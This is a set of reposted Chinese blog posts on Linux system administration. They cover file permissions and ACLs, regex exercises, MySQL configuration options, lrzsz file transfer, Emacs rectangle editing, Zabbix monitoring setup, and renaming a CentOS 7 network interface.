又到了要写博客的时间,虽然没啥写的?但是,赶鸭子上架吧!写得不好之处请多多包涵! 一 用户组权限 1.修改文件的所属用户时,用户一定是已经存在的,否则修改不了。我经常会忽视这个! 2.chown 普通用户无权限 chgrp普通用户属于的组,就有修改这个组的权限。 3.chown -R可以连文件目录下的目录的所有人一起修改。 4.批量修改密码 5.修改用户名和主组 Newtom的id就变成了王的id. 6.不完全切换:身份切换了过来但环境和目录没有切换过来 完全切换:与不完全切换相反。 7.一次执行多个命令 8.Reference 修改所属人和所属组 9.只有所属人和root可以更改文件的权限 10.X的作用:通常配合R使用,对目录下的子目录加x权限,但无权限的的文件不会加权限 但有例外 11.SGID作用于目录,目录内新建的文件的所有属组自动继承目录的所属组。 二.ACL访问控制列表 可以实现灵活的权限管理,除了文件所有人,所属组和其他人,可以对跟多的用户设置权限。 1.一旦对文件设置了ACL权限后,组的含义已经变得和原来不一样了,不是组的权限了。 2.在不修改文件所有人,所属组和其他人的权限时,要想使一个用户拥有某种权限时,可以给该用户设置acl权限来实现。 例如:f1文件的其他人并没有写的权限,王用户也不属于f1的所有者所属组,在不改变文件的前提下,要想使王用户有写得权限,就可以给王用户设置acl写的权限来实现。 我也想好好排一下版 ,但是,实在无能为力,就这样吧!希望内容能对看到此博客的人有所帮助,想吐槽的不用不好意思! 本文转自 honeyorange 51CTO博客,原文链接:http://blog.51cto.com/13172732/1951965
讲师说这是个难点,所以就把这部分写一下,本人认为通过习题理解会更深刻一些。 1.找出/etc/passwd中的两位或三位数 注意:在做这道题时,一定要锚定词首词尾,锚定词尾因为四位数包含三位数,如下图所示 锚定词首是因为万一所建的用户名中包含数字,如下图所示。 2.添加用户bash、testbash、basher、sh、nologin(其shell为/sbin/nologin),找出/etc/passwd用户名同shell名的行。 在做这道题的时候,我就忽视了下面的情况,主要是当时对词首词尾锚定理解不够深刻。要避免这种情况的出现,也可以加个/来区别。 3.找出/etc/rc.d/init.d/functions文件中行首为某单词(包括下划线)后面跟一个小括号的行 注意:表示图形小括号的时候要加转义字符\。因为这个, 4.将此字符串:welcome to magedu linux 中的每个字符去重并排序,重复次数多的排到前面 这个题的难点是怎样把这句话以单个字母单行显示,这个会了,其他就小菜一碟。 5.使用egrep取出/etc/rc.d/init.d/functions中其基名 注意:^放在括号里是“非”的意思放在括号外边是行首的意思。 6.统计last命令中以root登录的每个主机IP地址登录次数 注意:先把root截取出来,再取ip地址。 7.使用正则表达式的时候,使用扩展表达式比较方便,因为很多地方不用加转义字符。另外,"."包含大小写字母,数字和下划线。 本文转自 honeyorange 51CTO博客,原文链接:http://blog.51cto.com/13172732/1952009
mysql配置文件my.cnf详解[部分] 原文 http://www.cnblogs.com/toby/articles/2198697.html basedir = path 使用给定目录作为根目录(安装目录)。 character-sets-dir = path 给出存放着字符集的目录。 datadir = path 从给定目录读取数据库文件。 pid-file = filename 为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。 socket = filename 为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于 UNIX/Linux系统; 默认设置一般是/var/lib/mysql/mysql.sock文件)。在Windows环境下,如果MySQL客户与服务器是通过命名管道进行通信 的,–sock选项给出的将是该命名管道的名字(默认设置是MySQL)。 lower_case_table_name = 1/0 新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。 mysqld程序:语言设置 character-sets-server = name 新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容,这个字符集也可以用–default-character-set选项给出; 但这个选项已经显得有点过时了。 collation-server = name 新数据库或数据表的默认排序方式。 lanuage = name 用指定的语言显示出错信息。 mysqld程序:通信、网络、信息安全 enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL,但可以用–socket选项来改变。 local-infile [=0] 允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。 myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchk程序的同名选项作用相同。 old-passwords 使用MySQL 3.23和4.0版本中的老算法来加密mysql数据库里的密码(默认使用MySQL 4.1版本开始引入的新加密算法)。 port = n 为MySQL程序指定一个TCP/IP通信端口(通常是3306端口)。 safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用户才能使用GRANT命令; 这是一种双保险机制(此用户还必须具备GRANT权限才能执行GRANT命令)。 shared-memory 允许使用内存(shared memory)进行通信(仅适用于Windows)。 shared-memory-base-name = name 给共享内存块起一个名字(默认的名字是MySQL)。 skip-grant-tables 不使用mysql数据库里的信息来进行访问控制(警告:这将允许用户任何用户去修改任何数据库)。 skip-host-cache 不使用高速缓存区来存放主机名和IP地址的对应关系。 skip-name-resovle 不把IP地址解析为主机名; 与访问控制(mysql.user数据表)有关的检查全部通过IP地址行进。 skip-networking 只允许通过一个套接字文件(Unix/Linux系统)或通过命名管道(Windows系统)进行本地连接,不允许ICP/IP连接; 这提高了安全性,但阻断了来自网络的外部连接和所有的Java客户程序(Java客户即使在本地连接里也使用TCP/IP)。 user = name mysqld程序在启动后将在给定UNIX/Linux账户下执行; mysqld必须从root账户启动才能在启动后切换到另一个账户下执行; mysqld_safe脚本将默认使用–user=mysql选项来启动mysqld程序。 mysqld程序:内存管理、优化、查询缓存区 bulk_insert_buffer_size = n 为一次插入多条新记录的INSERT命令分配的缓存区长度(默认设置是8M)。 key_buffer_size = n 用来存放索引区块的RMA值(默认设置是8M)。 join_buffer_size = n 在参加JOIN操作的数据列没有索引时为JOIN操作分配的缓存区长度(默认设置是128K)。 max_heap_table_size = n HEAP数据表的最大长度(默认设置是16M); 超过这个长度的HEAP数据表将被存入一个临时文件而不是驻留在内存里。 max_connections = n MySQL服务器同时处理的数据库连接的最大数量(默认设置是100)。 query_cache_limit = n 允许临时存放在查询缓存区里的查询结果的最大长度(默认设置是1M)。 query_cache_size = n 查询缓存区的最大长度(默认设置是0,不开辟查询缓存区)。 query_cache_type = 0/1/2 查询缓存区的工作模式:0, 禁用查询缓存区; 1,启用查询缓存区(默认设置); 2,”按需分配”模式,只响应SELECT SQL_CACHE命令。 read_buffer_size = n 为从数据表顺序读取数据的读操作保留的缓存区的长度(默认设置是128KB); 这个选项的设置值在必要时可以用SQL命令SET SESSION read_buffer_size = n命令加以改变。 read_rnd_buffer_size = n 类似于read_buffer_size选项,但针对的是按某种特定顺序(比如使用了ORDER BY子句的查询)输出的查询结果(默认设置是256K)。 sore_buffer = n 为排序操作分配的缓存区的长度(默认设置是2M); 如果这个缓存区太小,则必须创建一个临时文件来进行排序。 table_cache = n 同时打开的数据表的数量(默认设置是64)。 tmp_table_size = n 临时HEAP数据表的最大长度(默认设置是32M); 超过这个长度的临时数据表将被转换为MyISAM数据表并存入一个临时文件。 mysqld程序:日志 log [= file] 把所有的连接以及所有的SQL命令记入日志(通用查询日志); 如果没有给出file参数,MySQL将在数据库目录里创建一个hostname.log文件作为这种日志文件(hostname是服务器的主机名)。 log-slow-queries [= file] 把执行用时超过long_query_time变量值的查询命令记入日志(慢查询日志); 如果没有给出file参数,MySQL将在数据库目录里创建一个hostname-slow.log文件作为这种日志文件(hostname是服务器主机 名)。 long_query_time = n 慢查询的执行用时上限(默认设置是10s)。 long_queries_not_using_indexs 把慢查询以及执行时没有使用索引的查询命令全都记入日志(其余同–log-slow-queries选项)。 log-bin [= filename] 把对数据进行修改的所有SQL命令(也就是INSERT、UPDATE和 DELETE命令)以二进制格式记入日志(二进制变更日志,binary update log)。这种日志的文件名是filename.n或默认的hostname.n,其中n是一个6位数字的整数(日志文件按顺序编号)。 log-bin-index = filename 二进制日志功能的索引文件名。在默认情况下,这个索引文件与二进制日志文件的名字相同,但后缀名是.index而不是.nnnnnn。 max_binlog_size = n 二进制日志文件的最大长度(默认设置是1GB)。在前一个二进制日志文件里的信息量超过这个最大长度之前,MySQL服务器会自动提供一个新的二进制日志文件接续上。 binlog-do-db = dbname 只把给定数 据库里的变化情况记入二进制日志文件,其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况,就必须在配置文件使用多个本选项来设置,每个数据库一行。 binlog-ignore-db = dbname 不把给定数据库里的变化情况记入二进制日志文件。 sync_binlog = n 每经过n次日志写操作就把日志文件写入硬盘一次(对日志信息进行一次同步)。n=1是最安全的做法,但效率最低。默认设置是n=0,意思是由操作系统来负责二进制日志文件的同步工作。 log-update [= file] 记载出错情况的日志文件名(出错日志)。这种日志功能无法禁用。如果没有给出file参数,MySQL会使用hostname.err作为种日志文件的名字。 mysqld程序:镜像(主控镜像服务器) server-id = n 给服务器分配一个独一无二的ID编号; n的取值范围是1~2的32次方启用二进制日志功能。 log-bin = name 启用二进制日志功能。这种日志的文件名是filename.n或默认的hostname.n,其中的n是一个6位数字的整数(日志文件顺序编号)。 binlog-do/ignore-db = dbname 只把给定数据库里的变化情况记入二进制日志文件/不把给定的数据库里的变化记入二进制日志文件。 mysqld程序:镜像(从属镜像服务器) server-id = n 给服务器分配一个唯一的ID编号 log-slave-updates 启用从属服务器上的日志功能,使这台计算机可以用来构成一个镜像链(A->B->C)。 master-host = hostname 主控服务器的主机名或IP地址。如果从属服务器上存在mater.info文件(镜像关系定义文件),它将忽略此选项。 master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文件,它将忽略此选项。 master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文件,它将忽略此选项。 master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认设置是3306端口)。 master-connect-retry = n 如果与主控服务器的连接没有成功,则等待n秒(s)后再进行管理方式(默认设置是60s)。如果从属服务器存在mater.info文件,它将忽略此选项。 master-ssl-xxx = xxx 对主、从服务器之间的SSL通信进行配置。 read-only = 0/1 0: 允许从属服务器独立地执行SQL命令(默认设置); 1: 从属服务器只能执行来自主控服务器的SQL命令。 read-log-purge = 0/1 1: 把处理完的SQL命令立刻从中继日志文件里删除(默认设置); 0: 不把处理完的SQL命令立刻从中继日志文件里删除。 replicate-do-table = dbname.tablename 与–replicate-do-table选项的含义和用法相同,但数据库和数据库表名字里允许出现通配符”%” (例如: test%.%–对名字以”test”开头的所有数据库里的所以数据库表进行镜像处理)。 replicate-do-db = name 只对这个数据库进行镜像处理。 replicate-ignore-table = dbname.tablename 不对这个数据表进行镜像处理。 replicate-wild-ignore-table = dbn.tablen 不对这些数据表进行镜像处理。 replicate-ignore-db = dbname 不对这个数据库进行镜像处理。 replicate-rewrite-db = db1name > db2name 把主控数据库上的db1name数据库镜像处理为从属服务器上的db2name数据库。 report-host = hostname 从属服务器的主机名; 这项信息只与SHOW SLAVE HOSTS命令有关–主控服务器可以用这条命令生成一份从属服务器的名单。 slave-compressed-protocol = 1 主、从服务器使用压缩格式进行通信–如果它们都支持这么做的话。 slave-skip-errors = n1, n2, …或all 即使发生出错代码为n1、n2等的错误,镜像处理工作也继续进行(即不管发生什 么错误,镜像处理工作也继续进行)。如果配置得当,从属服务器不应 该在执行 SQL命令时发生错误(在主控服务器上执行出错的SQL命令不会被发送到从属服务器上做镜像处理); 如果不使用slave-skip-errors选项,从属服务器上的镜像工作就可能因为发生错误而中断,中断后需要有人工参与才能继续进行。 mysqld–InnoDB:基本设置、表空间文件 skip-innodb 不加载InnoDB数据表驱动程序–如果用不着InnoDB数据表,可以用这个选项节省一些内存。 innodb-file-per-table 为每一个新数据表创建一个表空间文件而不是把数据表都集中保存在中央表空间里(后者是默认设置)。该选项始见于MySQL 4.1。 innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认设置是300)。如果使用了innodb-file-per-table选项并且需要同时打开很多数据表的话,这个数字很可能需要加大。 innodb_data_home_dir = p InnoDB主目录,所有与InnoDB数据表有关的目录或文件路径都相对于这个路径。在默认的情况下,这个主目录就是MySQL的数据目录。 innodb_data_file_path = ts 用来容纳InnoDB为数据表的表空间: 可能涉及一个以上的文件; 每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或千兆字节(GB)为单位给出; 表空间文件的名字必须以分号隔开; 最后一个表空间文件还可以带一个autoextend属性和一个最大长度(max:n)。例如,ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GB,ibdata2的最大长度也是1G,但允许它扩充到2GB。除文件名外,还可以用硬盘分区的设置名来定义表 空间,此时必须给表空间的最大初始长度值加上newraw关键字做后缀,给表空间的最大扩充长度值加上raw关键字做后缀(例如/dev/hdb1: 20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。 innodb_autoextend_increment = n 带有autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB)。这个属性不涉及具体的数据表文件,那些文件的增大速度相对是比较小的。 innodb_lock_wait_timeout = n 如果某个事务在等待n秒(s)后还没有获得所需要的资源,就使用ROLLBACK命令放弃这个事务。这项设置对于发现和处理未能被InnoDB数据表驱动 程序识别出来的死锁条件有着重要的意义。这个选项的默认设置是50s。 innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDB,默认设置是1,意思是不把缓存在 INSERT缓存区的数据写入数据表,那些数据将在MySQL服务器下次启动 时再写入 (这么做没有什么风险,因为INSERT缓存区是表空间的一个组成部分,数据不会丢失)。把这个选项设置为0反面危险,因为在计算机关闭时,InnoDB 驱动程序很可能没有足够的时间完成它的数据同步工作,操作系统也许会在它完成数据同步工作之前强行结束InnoDB,而这会导致数据不完整。 mysqld程序:InnoDB–日志 innodb_log_group_home_dir = p 用来存放InnoDB日志文件的目录路径(如ib_logfile0、ib_logfile1等)。在默认的情况下,InnoDB驱动程序将使用 MySQL数据目录作为自己保存日志文件的位置。 innodb_log_files_in_group = n 使用多少个日志文件(默认设置是2)。InnoDB数据表驱动程序将以轮转方式依次填写这些文件; 当所有的日志文件都写满以后,之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。这个长度必须以MB(兆字节)或GB(千兆字节)为单 位进行设置。 innodb_flush_log_at_trx_commit = 0/1/2 这个选项决定着什么时候把日志信息写入日志文件以及什么时候把这些文件物理地写 (术语称为”同步”)到硬盘上。设置值0的意思是每隔一秒写一次日 志并进行 同步,这可以减少硬盘写操作次数,但可能造成数据丢失; 设置值1(设置设置)的意思是在每执行完一条COMMIT命令就写一次日志并进行同步,这可以防止数据丢失,但硬盘写操作可能会很频繁; 设置值2是一般折衷的办法,即每执行完一条COMMIT命令写一次日志,每隔一秒进行一次同步。 innodb_flush_method = x InnoDB日志文件的同步办法(仅适用于UNIX/Linux系统)。这个选项的可取值有两种: fdatasync,用fsync()函数进行同步; O_DSYNC,用O_SYNC()函数进行同步。 innodb_log_archive = 1 启用InnoDB驱动程序的archive(档案)日志功能,把日志信息写入ib_arch_log_n文件。启用这种日志功能在InnoDB与 MySQL一起使用时没有多大意义(启用MySQL服务器的二进制日志功能就足够用了)。 mysqld程序–InnoDB:缓存区的设置和优化 innodb_log_buffer_pool_size = n 为InnoDB数据表及其索引而保留的RAM内存量(默认设置是8MB)。这个参数对速度有着相当大的影响,如果计算机上只运行有 MySQL/InnoDB数据库服务器,就应该把全部内存的80%用于这个用途。 innodb_log_buffer_size = n 事务日志文件写操作缓存区的最大长度(默认设置是1MB)。 innodb_additional_men_pool_size = n 为用于内部管理的各种数据结构分配的缓存区最大长度(默认设置是1MB)。 innodb_file_io_threads = n I/O操作(硬盘写操作)的最大线程个数(默认设置是4)。 innodb_thread_concurrency = n InnoDB驱动程序能够同时使用的最大线程个数(默认设置是8)。 mysqld程序:其它选项 bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址,这个选项将非常重要。 default-storage-engine = type 新数据表的默认数据表类型(默认设置是MyISAM)。这项设置还可以通过–default-table-type选项来设置。 default-timezone = name 为MySQL服务器设置一个地理时区(如果它与本地计算机的地理时区不一样)。 ft_min_word_len = n 全文索引的最小单词长度工。这个选项的默认设置是4,意思是在创建全文索引时不考虑那些由3个或更少的字符构建单词。 Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度,这个数字至少应该大于客户程序将要处理的最大BLOB块的长度。这个选项的默认设置是1MB。 Sql-mode = model1, mode2, … MySQL将运行在哪一种SQL模式下。这个选项的作用是让MySQL与其他的数据库系统保持最大程度的兼容。这个选项的可取值包括ansi、db2、 oracle、no_zero_date、pipes_as_concat。 本文转自 拖鞋崽 51CTO博客,原文链接:http://blog.51cto.com/1992mrwang/1174998
文件后缀名 、linux 和windows 互传文件 文件后缀名 在linux 下面 命令 文件 都区分大小写 大写的 LS 就识别不了 ls 这个命令 LANG=en 就显示成英文 linux 和windows 互传文件 首相只能使用远程工具 xshell 、securecrt 首先安装一个包 yum install -y lrzsz sz + 文件名 把linux 上的文件 传到 windows上 把 linux 上的 4.txt 传到windows 上 使用rz 回车 就可以吧windows 上的文件传到linux 下 的当前目录下 传输windows 上的bij.txt 到当前目录下 本文转自 ch71smas 51CTO博客,原文链接:http://blog.51cto.com/ch71smas/1950965
Emacs的矩形操作非常实用。 kill-rectangle操作 绑定的快捷键为:C-x r k 有如下的文本, 1 2 3 4 5 6 7 试着删除中间的一列: 3c21 646f 6374 6874 6d6c 3e3c 2063 6861 7273 202f 3e0a 3c6d 6965 7770 6f72 2277 6964 7468 操作如下: + 把光标放置在646f的前面 + 调用set-mark-command命令,或使用快捷键Ctrl+Space + 移动光标到6964的后面 + 调用kill-rectangle replace-rectangle操作 绑定的快捷键为:C-x r t 有如下的文本, 1 2 3 4 5 6 7 试着替换中间的一列为hello: 3c21 646f 6374 6874 6d6c 3e3c 2063 6861 7273 202f 3e0a 3c6d 6965 7770 6f72 2277 6964 7468 操作如下: + 把光标放置在646f的前面 + 调用set-mark-command命令,或使用快捷键Ctrl+Space + 移动光标到6964的后面 + 调用replace-rectangle paste-rectangle操作 绑定的快捷键为:C-x r y 有如下的文本, 1 2 3 4 5 6 7 试着在中间插入刚刚复制的一列: 3c21 6374 6874 3e3c 2063 7273 202f 3c6d 6965 6f72 2277 7468 操作如下: + 把光标放置在3c21与6374之间 + 调用paste-rectangle命令,或使用快捷键C-x r y 版权声明:原创作品,如需转载,请注明出处。否则将追究法律责任 操作emacs矩形rectangle本文转自 bigstone2012 51CTO博客,原文链接:http://blog.51cto.com/lavenliu/1727865
19.7 主动模式和被动模式 19.8 添加监控主机 19.9 添加自定义模板 19.10 处理图形中的乱码 19.11 自动发现 扩展 zabbix监控交换机(思科) http://tryrus.blog.51cto.com/10914693/1789847 zabbix远程执行命令 http://www.ywnds.com/?p=6610 zabbix分布式部署 http://sfzhang88.blog.51cto.com/4995876/1364399 zabbix监控tomcat(版本有点老,大家只需要参考步骤,不能照搬)http://www.jianshu.com/p/e3825a885a1b http://www.fblinux.com/?p=616 19.7 主动模式和被动模式 主动或者被动是相对客户端来讲的 被动模式,服务端会主动连接客户端获取监控项目数据,客户端被动地接受连接,并把监控信息传递给服务端 服务端请求以后,客户端接受到请求以后,才把相应的数据汇报给服务中心 主动模式,客户端会主动把监控数据汇报给服务端,服务端只负责接收即可。 定义策略以后实现,到达定义的时间以后,就会主动汇报数据给服务中心 当客户端数量非常多时,建议使用主动模式,这样可以降低服务端的压力。 服务端有公网ip,客户端只有内网ip,但却能连外网,这种场景适合主动模式 19.8 添加监控主机 在web页面配置添加监控主机 选择配置菜单,主机群组项,添加主机群 添加主机群组 添加主机 根据顺序,填写 1、主机名,在客户机上zabbix配置文件里面已经配置好的 2、可见名称,重复写上主机名,或者一个便于识别的名字 3、添加所属群组,选中群组,点击向左的箭头添加,或者3.1手动写一个新群组名称 4、添加客户端IP地址,DNS,解析IP地址使用的,因为我们做的是实验,所以就免去这一项,4.1连接方式,IP还是DNS,端口填写对应的agent客户端端口 5、添加,完成监控主机添加 添加完之后 应用集:应用集就是监控项的集合,应用集的目的是为了更方便的去管理监控项 监控项:监控的项目 触发器:就是针对某一个项目,设置的一个告警规则 图形:相关数据的图表化 自动发现规则:自动抓取机器的两个信息,并生产图片和触发器一个是文件系统;一个网卡 web场景:用于监控web站点 19.9 添加自定义模板 可以自定义一个常用模板,方便给新增主机添加监控项目 自定义aming模板 把其他自带模板里面的某些监控项目(比如cpu、内存等)复制到aming模板里 定义触发器 添加图形 自动发现,找到Template OS Linux,点击右侧的自动发现,参考Mounted filesystem discovery和Network interface discovery定义规则 可以直接导出、导入模板,然后再删除不需要的对象 创建自定义模板 进入模板页,选择创建模板 在创建模板页面,填写模板名字,可见的名称,选择模板归属的群组,然后选择链接的模板 选择这个,OS Linux;用于linux的,选中以后,点击下方的选择 回到链接的模板页,点击添加 然后点击更新 更新之后会发现 点击新创建的aming模板,清除链接的模板,保留链接的模板,方便后续自定义规则 如图,模板最后,就少了一个链接 要想杀出用户组必须先把组里面的用户先删掉,同样的道理要想删除应用集,必须先删除监控项 应用集空的都可以删除 触发器都留着 图形 自动发现规则都留着,这就是我们想要的东西 到此这个模板已经弄好了,而且这个模板没有连接任何的模板 接下来的操作就是去把刚刚建的主机和这个模板链接起来,做进一步的细化,比如监控项,触发器在做些挑战。 19.10 处理图形中的乱码 下面把刚刚弄得模板链接到aming-02主机里去 对添加好的客户端机器,添加模板规则,点击配置–>主机–>新添加的客户端机器 点击选择,打开模板页, 点击添加,并更新就可以了 进入图形界面 进入CPU load 发现有类似乱码的出现,但是是一个一个的小方框 因为是zabbix默认使用的字符库,不识别这类中文,所以,我们需要调节一下字符库 处理图形中乱码 设置为中文后,zabbix图形的中文文字会显示小方框 这是因为在zabbix的字体库中没有中文字体 到配置文件下,查看字库路径 先来看在哪里定义的它的字体 在服务端上 打开配置文件/usr/share/zabbix/include/defines.inc.php 搜索ZBX_FONTPATH [root@aming-01 ~]# vi /usr/share/zabbix/include/defines.inc.php define('ZBX_WIDGET_ROWS', 20); define('ZBX_FONTPATH', realpath('fonts')); // where to search for font (GD > 2.0.18) define('ZBX_GRAPH_FONT_NAME', 'graphfont'); // font file name define('ZBX_GRAPH_LEGEND_HEIGHT', 120); // when graph height is less then this value, some legend will not show up [root@aming-01 ~]# vi /usr/share/zabbix/include/defines.inc.php [1]+ 已停止 vi /usr/share/zabbix/include/defines.inc.php [root@aming-01 ~]# [root@aming-01 ~]# ls /usr/share/zabbix/fonts/graphfont.ttf [root@aming-01 ~]# ls -l !$ls -l /usr/share/zabbix/fonts/总用量 0lrwxrwxrwx 1 root root 33 11月 15 23:17 graphfont.ttf -> /etc/alternatives/zabbix-web-font [root@aming-01 ~]# ls -l /etc/alternatives/zabbix-web-fontlrwxrwxrwx 1 root root 38 11月 15 23:17 /etc/alternatives/zabbix-web-font -> /usr/share/fonts/dejavu/DejaVuSans.ttf [root@aming-01 ~]# [root@aming-01 ~]# fgvi /usr/share/zabbix/include/defines.inc.php [root@aming-01 ~]# 上述操作解释 到配置文件下,查看字库路径 vim /usr/share/zabbix/include/defines.inc.php //搜索ZBX_FONTPATH define('ZBX_FONTPATH', realpath('fonts')); //这个为zabbix字库所在的路径,使用的路劲是相对路径,相对于/usr/share/zabbix/ define('ZBX_GRAPH_FONT_NAME', 'graphfont'); // font file name // 这个为字体的名字查看一下字库[root@aming-01 ~]# ls -l /usr/share/zabbix/fonts/总用量 0lrwxrwxrwx 1 root root 33 9月 8 00:19 graphfont.ttf -> /etc/alternatives/zabbix-web-font //graphfont.ttf 为一个软链接[root@aming-01 ~]# ls -l /etc/alternatives/zabbix-web-font lrwxrwxrwx 1 root root 38 9月 8 00:19 /etc/alternatives/zabbix-web-font -> /usr/share/fonts/dejavu/DejaVuSans.ttf //zabbix-web-font为一个软链接dejavu: dejavu为字体的目录DejaVuSans.ttf:这个为一个字体 //这个字体不支持中文,它定义的路径是“fonts”,它是一个相对路径,绝对路径为/usr/share/zabbix/fonts,而字体文件为“ZBX_GRAPH_FONT_NAME”所定义的“graphfont”,它是一个文件,绝对路径为/usr/share/zabbix/fonts/graphfont接下来要做的,只需要 将graphfont到一个支持中文的字体下面,即可 需要从windows上借用一个过来,复制到windows桌面上来 使用xftp (ctrl+alt+f)把文件复制到linux 的root目录下 双击文件即可 这个文件simhei.ttf就是我们刚刚复制的字体 把这个文件放到fonts目录下去,并且改名为graphfont.ttf [root@aming-01 ~]# ls /root/simhei.ttf/root/simhei.ttf [root@aming-01 ~]# [root@aming-01 ~]# mv /root/simhei.ttf /usr/share/zabbix/fonts/aming.txt anaconda-ks.cfg zabbix-release-3.2-1.el7.noarch.rpm [root@aming-01 ~]# cd /usr/share/zabbix/fonts/[root@aming-01 fonts]# lsgraphfont.ttf simhei.ttf [root@aming-01 fonts]# 更改原有graphfont.ttf为graphfont.ttf.bak,或者删除掉这个文件,把simhei.ttf 软链接到graphfont.ttf,用simhei.ttf字体文件,创建graphfont.ttf软链接文件 [root@aming-01 fonts]# mv graphfont.ttf graphfont.ttf.bak;[root@aming-01 fonts]# ln -s simhei.ttf graphfont.ttf[root@aming-01 fonts]# ls -l总用量 9524 lrwxrwxrwx 1 root root 10 11月 17 00:38 graphfont.ttf -> simhei.ttf lrwxrwxrwx 1 root root 33 11月 15 23:17 graphfont.ttf.bak -> /etc/alternatives/zabbix-web-font -rw-r--r-- 1 root root 9751960 11月 17 00:33 simhei.ttf [root@aming-01 fonts]# 现在graphfont.ttf 和 simhei.ttf是一个文件,zabbix调用了 graphfont.ttf ,graphfont.ttf指向到了simhei.ttf,就是我们的字体 再回到zabbix 刷新预览 已经显示中文了,这样就能解决图形里的小方块 这里的绿色的线,说明它已经有数据产生了 也可以看下监测中->最新数据->主机选择aming-02 这里都是有数据的,也可以看看图形 如果要显示更多,继续添加就行了,创建图形 更改时间 让它形成这个图形 19.11 自动发现 修改自动发现规则的相关数据获取间隔 以秒计算,改动一下 改成了一分钟更新一次,为了让它尽快生效,重启下zabbix-server ,zabbix-agent zabbix-server [root@aming-01 ~]# systemctl restart zabbix-server[root@aming-01 ~]# zabbix-agent [root@aming-02 ~]# systemctl restart zabbix-agent[root@aming-02 ~]# 点击刷新一下 为了防止它影响我们的性能,调整下10分钟更新一次 也就是600秒 其实我们要的就是这个图形,有了这个图形看网卡流量就很方便了 可以选择在客户端让这个机器传一些数据,让它流量增大 版权声明:原创作品,如需转载,请注明出处。否则将追究法律责任 本文转自 ch71smas 51CTO博客,原文链接:http://blog.51cto.com/ch71smas/1982921 主动模式被动模式
CentOS7修改网卡为eth0 1.编辑网卡信息 [root@linux-node2~]# cd /etc/sysconfig/network-scripts/ #进入网卡目录 [root@linux-node2network-scripts]# mv ifcfg-eno16777728 ifcfg-eth0 #重命名网卡名称 [root@linux-node2network-scripts]# cat ifcfg-eth0 #编辑网卡信息 TYPE=Ethernet BOOTPROTO=static DEFROUTE=yes PEERDNS=yes PEERROUTES=yes IPV4_FAILURE_FATAL=no NAME=eth0 #name修改为eth0 ONBOOT=yes IPADDR=192.168.56.12 NETMASK=255.255.255.0 GATEWAY=192.168.56.2 DNS1=192.168.56.2 2.修改grub [root@linux-node2~]# cat /etc/sysconfig/grub #编辑内核信息,添加红色字段的 GRUB_TIMEOUT=5 GRUB_DEFAULT=saved GRUB_DISABLE_SUBMENU=true GRUB_TERMINAL_OUTPUT="console" GRUB_CMDLINE_LINUX="crashkernel=autorhgb net.ifnames=0 biosdevname=0 quiet" GRUB_DISABLE_RECOVERY="true" [root@linux-node2~]# grub2-mkconfig -o /boot/grub2/grub.cfg #生成启动菜单 Generatinggrub configuration file ... Foundlinux image: /boot/vmlinuz-3.10.0-229.el7.x86_64 Foundinitrd image: /boot/initramfs-3.10.0-229.el7.x86_64.img Foundlinux image: /boot/vmlinuz-0-rescue-1100f7e6c97d4afaad2e396403ba7f61 Foundinitrd image: /boot/initramfs-0-rescue-1100f7e6c97d4afaad2e396403ba7f61.img Done 也可以在开机启动加载安装系统界面设置。 3.验证是否修改成功 [root@linux-node2~]# reboot #必须重启系统生效 [root@linux-node2~]# yum install net-tools #默认centos7不支持ifconfig 需要看装net-tools包 [root@linux-node2~]# ifconfig eth0 #在次查看网卡信息 eth0:flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.56.12 netmask 255.255.255.0 broadcast 192.168.56.255 inet6 fe80::20c:29ff:fe5c:7bb1 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:5c:7b:b1 txqueuelen 1000 (Ethernet) RX packets 152 bytes 14503 (14.1 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 98 bytes 14402 (14.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 版权声明:原创作品,如需转载,请注明出处。否则将追究法律责任 本文转自 鹏爱 51CTO博客,原文链接:http://blog.51cto.com/pengai/1919382
